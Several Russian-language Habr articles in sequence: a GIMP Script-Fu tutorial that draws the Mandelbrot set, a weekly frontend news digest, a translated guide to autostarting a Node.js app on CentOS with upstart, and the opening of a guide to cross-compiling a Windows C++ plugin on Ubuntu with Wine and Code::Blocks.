Без паники! Я не буду вдаваться в подробности. Чтобы вы больше понимали, множество Мандельброта определяется как множество [комплексных чисел](https://en.wikipedia.org/wiki/Complex_number) *a*, для которых последовательность zn+1 = zn2 + a не расходится, начинаясь с *z = 0*.
На самом деле множество Мандельброта представляет собой причудливую чёрную кляксу на фотографиях; красивые цвета – не часть множества. Они показывают, сколько итераций требуется, чтобы величина последовательности чисел прошла пороговое значение.
Script-Fu в GIMP
----------------
[Script-Fu](https://docs.gimp.org/en/gimp-concepts-script-fu.html) – это встроенный в GIMP скриптовый язык, реализация языка программирования [Scheme](https://en.wikipedia.org/wiki/Scheme_(programming_language)).
Если вы хотите поближе познакомиться со Scheme, документация GIMP предлагает [подробное руководство](https://docs.gimp.org/en/gimp-using-script-fu-tutorial.html). Я также написал статью о [пакетной обработке изображений](https://opensource.com/article/21/1/gimp-scripting) с помощью Script-Fu. Наконец, меню «Help» предлагает обозреватель процедур с очень обширной документацией, в которой подробно описаны все функции Script-Fu.
Scheme – это Lisp-подобный язык, поэтому его основная характеристика – то, что он использует [префиксную нотацию](https://en.wikipedia.org/wiki/Polish_notation) и [много круглых скобок](https://xkcd.com/297/). Функции и операторы применяются к списку операндов через префиксы:
```
(function-name operand operand ...)
(+ 2 3)
Returns 5
(list 1 2 3 5)
Returns a list containing 1, 2, 3, and 5
```
Пишем сценарий
--------------
Можно написать свой первый скрипт и сохранить его в папке Scripts, которую можно найти в окне настроек, в разделе Folders Scripts. Мой находится в `$HOME/.config/GIMP/2.10/scripts`. Создайте файл с именем `mandelbrot.scm`:
```
; Complex numbers implementation
(define (make-rectangular x y) (cons x y))
(define (real-part z) (car z))
(define (imag-part z) (cdr z))
(define (magnitude z)
(let ((x (real-part z))
(y (imag-part z)))
(sqrt (+ (* x x) (* y y)))))
(define (add-c a b)
(make-rectangular (+ (real-part a) (real-part b))
(+ (imag-part a) (imag-part b))))
(define (mul-c a b)
(let ((ax (real-part a))
(ay (imag-part a))
(bx (real-part b))
(by (imag-part b)))
(make-rectangular (- (* ax bx) (* ay by))
(+ (* ax by) (* ay bx)))))
; Definition of the function creating the layer and drawing the fractal
(define (script-fu-mandelbrot image palette-name threshold domain-width domain-height offset-x offset-y)
(define num-colors (car (gimp-palette-get-info palette-name)))
(define colors (cadr (gimp-palette-get-colors palette-name)))
(define width (car (gimp-image-width image)))
(define height (car (gimp-image-height image)))
(define new-layer (car (gimp-layer-new image
width height
RGB-IMAGE
"Mandelbrot layer"
100
LAYER-MODE-NORMAL)))
(gimp-image-add-layer image new-layer 0)
(define drawable new-layer)
(define bytes-per-pixel (car (gimp-drawable-bpp drawable)))
; Fractal drawing section.
; Code from: https://rosettacode.org/wiki/Mandelbrot_set#Racket
(define (iterations a z i)
(let ((z (add-c (mul-c z z) a)))
(if (or (= i num-colors) (> (magnitude z) threshold))
i
(iterations a z (+ i 1)))))
(define (iter->color i)
(if (>= i num-colors)
(list->vector '(0 0 0))
(list->vector (vector-ref colors i))))
(define z0 (make-rectangular 0 0))
(define (loop x end-x y end-y)
(let* ((real-x (- (* domain-width (/ x width)) offset-x))
(real-y (- (* domain-height (/ y height)) offset-y))
(a (make-rectangular real-x real-y))
(i (iterations a z0 0))
(color (iter->color i)))
(cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color)
(loop (+ x 1) end-x y end-y))
((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y))
(loop 0 end-x (+ y 1) end-y)))))
(loop 0 width 0 height)
; These functions refresh the GIMP UI, otherwise the modified pixels would be evident
(gimp-drawable-update drawable 0 0 width height)
(gimp-displays-flush)
)
(script-fu-register
"script-fu-mandelbrot" ; Function name
"Create a Mandelbrot layer" ; Menu label
; Description
"Draws a Mandelbrot fractal on a new layer. For the coloring it uses the palette identified by the name provided as a string. The image boundaries are defined by its domain width and height, which correspond to the image width and height respectively. Finally the image is offset in order to center the desired feature."
"Cristiano Fontana" ; Author
"2021, C.Fontana. GNU GPL v. 3" ; Copyright
"27th Jan. 2021" ; Creation date
"RGB" ; Image type that the script works on
;Parameter Displayed Default
;type label values
SF-IMAGE "Image" 0
SF-STRING "Color palette name" "Firecode"
SF-ADJUSTMENT "Threshold value" '(4 0 10 0.01 0.1 2 0)
SF-ADJUSTMENT "Domain width" '(3 0 10 0.1 1 4 0)
SF-ADJUSTMENT "Domain height" '(3 0 10 0.1 1 4 0)
SF-ADJUSTMENT "X offset" '(2.25 -20 20 0.1 1 4 0)
SF-ADJUSTMENT "Y offset" '(1.50 -20 20 0.1 1 4 0)
)
(script-fu-menu-register "script-fu-mandelbrot" "/Layer/")
```
Я пройдусь по сценарию, чтобы показать, что он делает.
Приготовьтесь нарисовать фрактал
--------------------------------
Поскольку изображение касается прежде всего комплексных чисел, я написал их быструю, грязную реализацию в Script-Fu. Я определил комплексные числа как [пары](https://www.gnu.org/software/guile/manual/html_node/Pairs.html) действительных чисел. Затем добавил несколько функций, необходимых для сценария и воспользовался [документацией Racket](https://docs.racket-lang.org/reference/generic-numbers.html?q=make-rectangular#(part._.Complex_.Numbers)), чтобы разобраться с именам функций и ролями:
```
(define (make-rectangular x y) (cons x y))
(define (real-part z) (car z))
(define (imag-part z) (cdr z))
(define (magnitude z)
(let ((x (real-part z))
(y (imag-part z)))
(sqrt (+ (* x x) (* y y)))))
(define (add-c a b)
(make-rectangular (+ (real-part a) (real-part b))
(+ (imag-part a) (imag-part b))))
(define (mul-c a b)
(let ((ax (real-part a))
(ay (imag-part a))
(bx (real-part b))
(by (imag-part b)))
(make-rectangular (- (* ax bx) (* ay by))
(+ (* ax by) (* ay bx)))))
```
Рисуем фрактал
--------------
Новая функция называется script-fu-mandelbrot. Лучшая практика – называть функцию script-fu-something, чтобы её можно было легко идентифицировать в браузере процедур. Функции требуется несколько параметров: image, к которому она добавит слой с фракталом, palette-name, определяющее используемую цветовую палитру, пороговое значение (thresold), чтобы остановить итерации, domain-width и domain-height, которые определяют границы изображения, а также offset-x, offset-y, чтобы центрировать изображение по желаемому объекту. Сценарию также нужны некоторые другие параметры, которые он может вывести из интерфейса GIMP:
```
(define (script-fu-mandelbrot image palette-name threshold domain-width domain-height offset-x offset-y)
(define num-colors (car (gimp-palette-get-info palette-name)))
(define colors (cadr (gimp-palette-get-colors palette-name)))
(define width (car (gimp-image-width image)))
(define height (car (gimp-image-height image)))
...
```
Затем он создаёт новый слой и определяет его как drawable. «Drawable» – элемент, на котором мы будем рисовать:
```
(define new-layer (car (gimp-layer-new image
width height
RGB-IMAGE
"Mandelbrot layer"
100
LAYER-MODE-NORMAL)))
(gimp-image-add-layer image new-layer 0)
(define drawable new-layer)
(define bytes-per-pixel (car (gimp-drawable-bpp drawable)))
```
Чтобы определить код цвета пикселя, я воспользовался примером [Racket](https://racket-lang.org/) на сайте [Rosetta Code](https://rosettacode.org/wiki/Mandelbrot_set#Racket). Это не самый оптимальный алгоритм, но его легко понять. Даже такой не математик, как я, смог разобраться с алгоритмом. Функция iterations определяет, сколько шагов последовательности требуется, чтобы дойти до порогового значения. Для завершения итерации я использую количество цветов в палитре. Другими словами, если порог слишком высок или последовательность не растёт, вычисление останавливается на значении num-colors. Функция iter->color преобразует количество итераций в цвет с помощью предоставленной палитры. Если число итераций равно num-colors, используется чёрный цвет, поскольку он означает, что последовательность, вероятно, достигла границы и что пиксель находится во множестве Мандельброта:
```
; Fractal drawing section.
; Code from: https://rosettacode.org/wiki/Mandelbrot_set#Racket
(define (iterations a z i)
(let ((z (add-c (mul-c z z) a)))
(if (or (= i num-colors) (> (magnitude z) threshold))
i
(iterations a z (+ i 1)))))
(define (iter->color i)
(if (>= i num-colors)
(list->vector '(0 0 0))
(list->vector (vector-ref colors i))))
```
У меня есть ощущение, что пользователи Scheme не любят использовать циклы, я реализовал функцию прохода по пикселям рекурсивно. Функция loop считывает начальные координаты и их верхние границы. В каждом пикселе она определяет некоторые временные переменные с помощью функции let\*: real-x и real-y – это реальные координаты пикселя на комплексной плоскости, в соответствии с параметрами; переменная a – отправная точка последовательности; i – это количество итераций; и, наконец, color – это цвет пикселя. Каждый пиксель окрашивается с помощью функции gimp-drawable-set-pixel, которая является внутренней процедурой GIMP. Особенность её в том, что она необратима и она не является триггером обновления изображения. Поэтому изображение не обновляется во время операции. Для удобства пользователя в конце каждой строки пикселей вызывается функция gimp-progress-update, обновляющая индикатор выполнения в пользовательском интерфейсе:
```
(define z0 (make-rectangular 0 0))
(define (loop x end-x y end-y)
(let* ((real-x (- (* domain-width (/ x width)) offset-x))
(real-y (- (* domain-height (/ y height)) offset-y))
(a (make-rectangular real-x real-y))
(i (iterations a z0 0))
(color (iter->color i)))
(cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color)
(loop (+ x 1) end-x y end-y))
((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y))
(loop 0 end-x (+ y 1) end-y)))))
(loop 0 width 0 height)
```
В конце расчёта функция должна сообщить GIMP, что она изменила drawable, и также должна обновить интерфейс, потому что изображение не обновляется «автоматически» во время выполнения скрипта:
```
(gimp-drawable-update drawable 0 0 width height)
(gimp-displays-flush)
```
Взаимодействие с помощью интерфейса
-----------------------------------
Чтобы мы могли использовать функцию script-fu-mandelbrot в графическом интерфейсе пользователя (GUI), сценарий должен проинформировать об этом редактор. Функция script-fu-register сообщает GIMP о параметрах, требуемых скриптом, и предоставляет некоторую документацию:
```
(script-fu-register
"script-fu-mandelbrot" ; Function name
"Create a Mandelbrot layer" ; Menu label
; Description
"Draws a Mandelbrot fractal on a new layer. For the coloring it uses the palette identified by the name provided as a string. The image boundaries are defined by its domain width and height, which correspond to the image width and height respectively. Finally the image is offset in order to center the desired feature."
"Cristiano Fontana" ; Author
"2021, C.Fontana. GNU GPL v. 3" ; Copyright
"27th Jan. 2021" ; Creation date
"RGB" ; Image type that the script works on
;Parameter Displayed Default
;type label values
SF-IMAGE "Image" 0
SF-STRING "Color palette name" "Firecode"
SF-ADJUSTMENT "Threshold value" '(4 0 10 0.01 0.1 2 0)
SF-ADJUSTMENT "Domain width" '(3 0 10 0.1 1 4 0)
SF-ADJUSTMENT "Domain height" '(3 0 10 0.1 1 4 0)
SF-ADJUSTMENT "X offset" '(2.25 -20 20 0.1 1 4 0)
SF-ADJUSTMENT "Y offset" '(1.50 -20 20 0.1 1 4 0)
)
```
Затем скрипт просит GIMP поместить новую функцию в меню слоя, у функции в меню будет надпись «Create a Mandelbrot layer»:
```
(script-fu-menu-register "script-fu-mandelbrot" "/Layer/")
```
Зарегистрировав функцию, вы можете визуализировать её в браузере процедур.
Запускаем скрипт
----------------
Теперь, когда функция готова и зарегистрирована, вы можете нарисовать фрактал Мандельброта! Сначала создайте квадратное изображение и запустите скрипт из меню Layers (Слои).
Значения по умолчанию – хороший старт, чтобы получить следующее изображение. При первом запуске скрипта создайте очень маленькое изображение (например, 60х60 пикселей), поскольку эта реализация медленная! Моему компьютеру потребовалось несколько часов, чтобы создать изображение ниже в полном разрешении 1920х1920 пикселей. Как я уже упоминал ранее, это не самый оптимальный алгоритм; скорее его проще понять.
*Часть фрактала Мандельброта в палитре Firecode GIMP.*
Узнать больше
-------------
В этом туториале я показал, как использовать скриптинг GIMP, чтобы нарисовать изображение при помощи алгоритма. Сгенерированные алгоритмом изображения демонстрируют мощный набор инструментов GIMP, которые могут использоваться в искусстве и для того, чтобы создавать математические изображения.
Если вы хотите продвинуться дальше, предлагаю вам ознакомиться с официальной документацией и туториалом. В качестве упражнения попробуйте изменить этот скрипт так, чтобы нарисовать [множество Жюлиа](https://ru.wikipedia.org/wiki/%D0%9C%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D0%96%D1%8E%D0%BB%D0%B8%D0%B0).
[Узнайте подробности](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=260221), как получить Level Up по навыкам и зарплате или востребованную профессию с нуля, пройдя онлайн-курсы SkillFactory со скидкой 40% и промокодом **HABR**, который даст еще +10% скидки на обучение:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=260221)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=260221)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=260221)
* **Другие профессии и курсы**
**ПРОФЕССИИ**
+ [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=260221)
+ [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=260221)
+ [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=260221)
+ [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=260221)
+ [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=260221)
+ [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=260221)
+ [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=260221)
+ [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=260221)
+ [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=260221)
---
**КУРСЫ**
+ [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=260221)
+ [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=260221)
+ [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=260221)
+ [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=260221)
+ [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=260221)
+ [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=260221)
+ [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=260221) | https://habr.com/ru/post/542884/ | null | ru | null |
# Фронтенд-новости №13. Релиз Vue 2.7, табы против пробелов Prettier, W3C — некоммерческая организация
Дайджест новостей и полезных статей из мира фронтенд-разработки за неделю 27 июня–3 июля.
### 🧍♂️Доступность
📔 [**Частично визуально скрытый текст**](https://www.smashingmagazine.com/2022/06/voice-control-usability-considerations-partially-visually-hidden-link-names/). Частично визуально скрытые тексты могут быть удобны для людей, использующих скринридеры, но могут быть проблематичными для тех, кто использует программное обеспечение для голосового управления.
### 🧂 Спецификации
📔 [**Mozilla о лицензиях спецификаций**](https://hacks.mozilla.org/2022/06/the-specification-for-javascript-has-a-new-license/). ECMAScript разработана в Ecma International, а HTML и CSS разрабатываются в W3C. Эти учреждения имеют разные лицензионные соглашения по умолчанию, что создает проблемы.
📔 [**Этические принципы машинного обучения в вебе**](https://www.w3.org/TR/2022/DNOTE-webmachinelearning-ethics-20220628/). W3C опубликовала черновик, в котором определяются этические проблемы, которые могут применяться к машинному обучению в браузерах.
📔 [**W3C станет некоммерческой организацией**](https://www.w3.org/blog/news/archives/9594)**,** представляющей общественные интересыс января 2023 года.
### 🖌️ CSS
📔 [**Mobile-first: что пора переосмыслить?**](https://alistapart.com/article/mobile-first-css-is-it-time-for-a-rethink/) У подхода mobile-first есть как недостатки так и преимущества, но что поменялось за столь долгое существование этого подхода? Рассмотрите использование подхода в 2022, а также узнайте другие решение, которые могут работать лучше.
📔 [**Напишите свой лучший CSS**](https://sprucecss.com/blog/writing-better-css) с:
* лёгкой кодовой базой,
* современными CSS-свойствами,
* линтерами,
* маленьким размером,
* и применением любой методологии.
Либо познакомьтесь с [критериями качества вёрстки](https://habr.com/ru/company/htmlacademy/blog/566244/).
📔 [**Полное руководство по использованию CSS-фильтров в SVG**](https://blog.logrocket.com/complete-guide-using-css-filters-svgs/)**.** С помощью фильтров можно размыть, настроить контрастность и насыщенность, изменить оттенок, уменьшить непрозрачность изображений.
📔 [**Одна CSS-строчка для добавления базового тёмного/светлого режима.**](https://christianheilmann.com/2022/06/20/one-line-of-css-to-add-basic-dark-light-mode/)`color-scheme: dark light;`, а также узнайте как поменять режим в DevTools.
📔 [**Как найти предыдущий элемент с одним родителем?**](https://blog.jim-nielsen.com/2022/previous-sibling-selector/)`p:has(+ hr) a:only-child` находит , которая лежит в , которому предшествует `---`.
📔 [**Defensive CSS**](https://defensivecss.dev/)**.** Справочник практических советов по CSS и дизайну для интерфейсов.
📔 [**Выражения от стилей.**](https://una.im/style-queries/)Логическое продолжение выражений от контейнера. Выражения от стилей вычисленном значении контейнера. Может пригодиться при темизации, ховер-эффектах, ненаследуемых значениях, связанных стилей.
```
@container style(color: hotpink) {
.card {
/* если у элемента цвет текста hotpink */
/* то измени цвет фона на белый */
background: white;
}
}
```
📔 [**Доводы в пользу использования Sass в 2022 году.**](https://blog.mayank.co/the-case-for-using-sass-in-2022)Работает вне браузера, работает совместно с CSS, добавляет много полезных дополнительных функций, хорош для повторно используемого кода, подходит для крупных проектов.
📔 [**Сложные и составные селекторы.**](https://www.miriamsuzanne.com/2022/06/15/complex-compound/)Простой селектор — класс, тег, идентификатор. Составной селектор — последовательность простых селекторов, не разделённых комбинатором.
```
img#hero { … }
a:focus { … }
.only.with.all.of.these.classes { … }
```
Сложный селектор — последовательность одного или нескольких составных селекторов, разделённых комбинаторами.
```
#hero img { … }
a:focus > .icon { … }
.only.with ~ .all.of ~ .these.siblings { … }
```
📔 [**Scrollbar в современном CSS.**](https://habr.com/ru/post/674244/)
### 🏗️ JavaScript
📔 [**State of GraphQL.**](https://www.stateofgraphql.com/ru-ru/)
📔 [**Большое обсуждение, что использовать в prettier — табы или пробелы.**](https://github.com/prettier/prettier/issues/7475)
📔 [**10 лет Meteor.**](https://meteor10.sachagreif.com/)
📔 [**Безопасное повторение XHR.**](https://lofi.limo/blog/retry-xmlhttprequest-carefully) Если при `XMLHttpRequest` произошла ошибка, то как повторить запрос?
📔 [**Как не дать устройству перейти в спящий режим с помощью JavaScript?**](https://mikevdv.dev/blog/2022-06-23-stop-the-screen-going-to-sleep-with-javascript%D1%8A)С помощью wakelock.
📔 [**Как проверить заполненность localStorage**](https://mmazzarolo.com/blog/2022-06-26-filling-local-storage-programmatically/)?
#### 🚀React
📔 [**Комбинация MDX и MJML для работы с электронными почтой.**](https://www.joshwcomeau.com/react/wonderful-emails-with-mjml-and-mdx/)Создавать письма на HTML — достаточно трудоёмкая задача, которую можно упростить с помощью MDX и MJML.
📔 [**Как написать свой стейт-менеджер, аналогичный MobX, но в 2 раза меньше и в 2 раза быстрее**](https://dev.to/ninjin/designing-the-ideal-reactivity-system-3i4o), который решит большинство типичных проблем ReactJS компонент. Реализация своего ReactJS с точечным рендерингом минуя VDOM. И даже создание полифила наделяющего обычный DOM реактивными свойствами, минуя какие-либо фреймворки.
#### 💽 Node.js
📔 [**Работа с файловой системой.**](https://2ality.com/2022/06/nodejs-file-system.html) Обзор API и рецепты для различных задач.
📔 [**Должен ли node.js поддерживать веб-воркеры?**](https://github.com/nodejs/node/issues/43583)Мнение**:** все нынешние веб-воркеры, либо давно не поддерживаются, либо несовместимы со стандартом. Предложение: [поддерживать стандарт](https://html.spec.whatwg.org/multipage/workers.html#workers).
📔 [**Предложение по улучшению по поиску в npm.**](https://astoilkov.com/better-npm-search-proposal)Исключить активность ботов, уменьшить значимость звёдочек и количества скачиваний, увеличить значимость работы в issue и PR.
### 🟩 Vue
📔 [**Вышел Vue 2.7 «Naruto».**](https://blog.vuejs.org/posts/vue-2-7-naruto.html)
### ⚡ Производительность
📔 [**Early Hints.**](https://developer.chrome.com/blog/early-hints/) Узнайте, как ваш сервер может отправлять браузеру подсказки о критически важных подресурсах.
📔 [**Наказание CLS за прогрессивное улучшение?**](https://piccalil.li/blog/a-cls-punishment-for-progressive-enhancement/)Бургерное меню иногда может ухудшить показатели Lighthouse.
### 🛠️ Инструменты
📔 [**-Это caniuse? -Нет. -Это caniemail? -Нет. -Это canidevtools? -Да.**](https://www.canidev.tools/)Для проверки методов используемых в инструментах разработчика.
📔 [**React Native 0.69**](https://reactnative.dev/blog/2022/06/21/version-069)с React 18, обновлённым Hermes и C++17.
📔 [**React Archer 4.0**](https://github.com/pierpo/react-archer)для рисования стрелок между DOM-элементами.
### 🕸️Браузеры
📔 [**Firefox 102.**](https://www.mozilla.org/en-US/firefox/102.0/releasenotes/)
### 🎓Общее
📔 [**Что нужно и нельзя делать для парных шрифтов**](https://www.nngroup.com/articles/pairing-typefaces/)? Разберитесь с базовыми терминами: `baseline`, `x-height`, `foot`, `stroke`. Разберитесь с классификацией: `serif`, `sans-serif`, `slab-serif`, `script`, `display`, `monospaced`. Ищите шрифты, поддерживающие несколько языков. Оцените сходство. Смешайте декоративные с нейтральными. Используйте контрастную толщину.
📔 [**Дизайн-системы 2022**](https://designsystemssurvey.seesparkbox.com/2022/). Мнение 200 специалистов о дизайн-системах.
📔 [**Github Copilot теперь доступен всем.**](https://github.blog/2022-06-21-github-copilot-is-generally-available-to-all-developers/) Copilot протестирован в течении 12 месяцев 1,2 миллионом разработчиков. 40% кода, где он включён, написано с помощью Copilot. Стоит $10 в месяц, но можно попробовать пробную версию на 60 дней.
📔 [**Как работает сжатие изображений на примере JPEG.**](https://www.youtube.com/watch?v=Kv1Hiv3ox8I)
📔 [**Правильное пространство вокруг заголовков.**](https://pimpmytype.com/hugo-md/)Уменьшите пространство под заголовком и увеличьте над ним. Добавляете пробелы между записями и делайте ссылки очевидными. Используйте как можно меньше стилей шрифтов. Уменьшите высоту коротких строк.
### Как читать статьи на английском языке
В дайджесте много статей и видео на английском языке, чтобы это не стало препятствием: в Google Chrome есть функция перевода страницы с любого популярного языка, а видео можно перевести в Яндекс Браузере. | https://habr.com/ru/post/675032/ | null | ru | null |
# Автозапуск приложения Node.js на CentOS 6.2
Для автозапуска приложений Node.js есть много способов, но после некоторых поисков мне удалось отыскать такое решение, которое и работает, и не представляет большой трудности.
Сперва я испробовал [forever](https://github.com/nodejitsu/forever) — работает превосходно, но только до тех пор, пока вам не понадобится запустить приложение при начальной загрузке системы. Я пробовал добавить строчку в /etc/rc.d/rc.local — иногда она срабатывала, а иногда нет, и до сих пор я не разобрался, почему так.
Затем я поглядел на [Upstart](https://ru.wikipedia.org/wiki/Upstart) и на [Monit](http://mmonit.com/monit/). Upstart сделал сочинение скрипта для автозагрузчика таким же простым, как autoexec.bat во времена DOS, а Monit умеет проверять приложение, чтобы убедиться, что оно всё время работает.
Тут я понял, что моя потребность проста: во-первых, запускать приложение при начальной загрузке системы, а во-вторых, перезапускать, если оно упадёт (с приложениями Node.js такое случается) — и одного upstart достаточно для того, чтобы устроить и то, и другое.
В состав CentOS 6.2 upstart ужé входит, так что вам остаётся только поместить текстовый файл в /etc/init — назвав его, например, myapp.conf:
```
#!upstart
description "testjs.js "
author "sample"
start on runlevel [2345]
stop on shutdown
respawn
script
export HOME="/root"
echo $$ > /var/run/testjs.pid
exec /usr/local/bin/node /root/test.js >> /var/log/testjs.log 2>&1
end script
pre-start script
# Формат даты тот же, что и у (new Date()).toISOString(), а не отсебятина
echo "[`date -u +%Y-%m-%dT%T.%3NZ`] (sys) Starting" >> /var/log/testjs.log
end script
pre-stop script
rm /var/run/testjs.pid
echo "[`date -u +%Y-%m-%dT%T.%3NZ`] (sys) Stopping" >> /var/log/testjs.log
end script
```
После этого можно будет подавать такие команды:
```
/sbin/start myapp
/sbin/stop myapp
/sbin/status myapp
```
Приложение также будет запущено при начальной загрузке, и в CentOS 6.2 можно обойтись одним этим для запуска приложения и для поддержания его работы. Я обнаружил также, что в CentOS запуск посредством runlevel [2345] необходим, а другие варианты, кажется, не работают.
---
**Примечания переводчика:**
* Upstart не нуждается в полях **description** и **author**, так что можно обойтись в скрипте без них вместо того, чтобы наполнять всякой чепухою.
* Если пути в системе прописаны корректно, то в скрипте можно набирать просто «**node**» вместо «/usr/local/bin/node»; то же самое касается и команд «**start**», «**stop**» и «**status**», которые тогда не будут нуждаться в префиксе «/sbin/».
* Помимо вышеперечисленных, существует также команда «**restart**», которая запускает сперва «**stop**», а затем «**start**». Она бывает полезна в тех случаях, когда приходится одной командою (а не двумя) перезапустить, например, сервер [Express.js](http://expressjs.com/), чтобы очистить какой-нибудь такой кэш, который у сервера хранится в памяти, или чтобы принудить сервер руководствоваться новой версией джаваскриптового файла, описывающего маршрутизацию на сайте.
* Команду «**start**» можно подавать без страха: она откажется работать, если приложение с указанным ей именем ужé запущено, а не запустит ненужный второй экземпляр его.
* Без строчки «**echo $$ > /var/run/testjs.pid**» и без противоположной ей команды «**rm /var/run/testjs.pid**», как правило, можно обойтись. Убивать процесс по его номеру не придётся: куда проще подавать команду «**stop**» (или «**restart**»), в которой используется имя приложения, которое всегда одно и то же, да притом и запоминается лучше.
* Указание «**respawn**» работает в upstart так хорошо, что все обычные методы выхода из джаваскриптового приложения (например, «**process.exit(0)**») также приводят к его перезапуску, а не к окончательной остановке. Можете воспользоваться этим, если понадобится предусмотреть интерфейс для дистанционного перезапуска веб-сервера или какого-нибудь другого сервера.
Вот упрощённый (но работающий) пример для [Express.js](http://expressjs.com/):
```
app.get('/тайный_адрес_перезагрузчика', function(req, res){
res.type('text/plain');
res.send('The Express.js web server will shut down (and restart) in a second.');
console.log('Remote shutdown.');
setTimeout(function(){
process.exit(0);
}, 1000);
});
``` | https://habr.com/ru/post/243429/ | null | ru | null |
# Кросс-компиляция и отладка C++ Windows-приложения под Linux
Показали мне недавно интересное приложение, под которое можно разрабатывать плагины. Приложение оказалось очень полезным для научной работы, но вот незадача — приложение разработано под Windows, у меня стоит Ubuntu. Windows для разработки под это приложение от лаборатории получить пока не удалось. Чтобы не тратить время, решил освоить кросс-компиляцию и отладку этого приложения.
Итого, имеется:
Ubuntu 12.10 x64
Не-юникодное приложение Мастерская Граф-Моделей (МГМ) (В командах консоли будет называться gmw.exe)
Нужно:
Разрабатывать и отлаживать плагины (dll-библиотеки), не устанавливая Windows.
И тут нам помогут Wine, Code::Blocks, портированное GDB, и boost.
#### Wine, не юникодное приложение, английский интерфейс Ubuntu и русский язык
При попытке открыть не юникодное приложение под Wine
```
wine gmw.exe
```
получаются зюки следующего вида:
На эту проблему интернет очень быстро дает следующую [подсказку](http://ubuntuforums.org/showthread.php?t=665485):
```
LC_ALL=ru_RU.UTF-8 wine gmw.exe
```
В моём случае, данный подход не улучшил ситуацию ни на йоту.
Как выяснилось, русских локалей в системе не было добавлено ([тыц](http://dynamic-ubuntu.blogspot.fr/2012/07/ubuntu-utf-8.html)).
```
sudo echo "ru_RU.UTF-8 UTF-8" >> /var/lib/locales/supported.d/ru
sudo locale-gen ru
```
Теперь запускаем с выше-указанной подсказкой
```
LC_ALL=ru_RU.UTF-8 wine gmw.exe
```
И, вуаля, запускается приложение с читаемым русским текстом:
#### Настройка IDE Code::Blocks для кросс-компиляции и отладки
##### Установка Code::Blocks
В дальнейшем для отладки нам потребуется менять код плагина отладки поэтому лучше сразу взять версию Code::Blocks из под svn.
Устанавливаем svn:
```
sudo apt-get install subversion
```
С помощью svn получаем код C::B, для этого переходим в папку, в которую хотим сохранить код C::B, где и набираем:
```
svn checkout svn://svn.berlios.de/codeblocks/trunk
```
Переходим в полученную папку 'trunk'.
Компиляция C::B происходит с помощью g++, autotools, automake и некоторых других утилит, которые необходимо установить:
```
sudo apt-get install libtool autotools-dev automake autoconf g++ libhunspell-dev libgtk2.0-dev libgamin-dev libboost-dev
```
Кроме того Code::Blocks зависит от wxWidgets:
```
sudo apt-get install libwxgtk2.8-dev
```
Подстраиваем установщик под компьютер (можно запускать единожды):
```
sudo ./bootstrap
```
И дальше, устанавливаем сам codeblocks (ключ --prefix можно упустить для использования настроек по-умолчанию):
```
sudo ./configure --prefix={Путь по которому устанавливать} --with-contrib-plugins=all
sudo make
sudo make install
```
Более подробно можно посмотреть по [ссылке](http://wiki.codeblocks.org/index.php?title=Installing_Code::Blocks_from_source_on_Linux).
##### Настройка компиляции и линковки
Выполняем пункты с 1 по 5 с [форума](http://forums.codeblocks.org/index.php/topic,3343.0.html) Code::Blocks. После этого компиляция программ должна работать, если не используется линковка к платформо-зависмым библиотекам (линковка с boost::regexp будет рассмотрена позже).
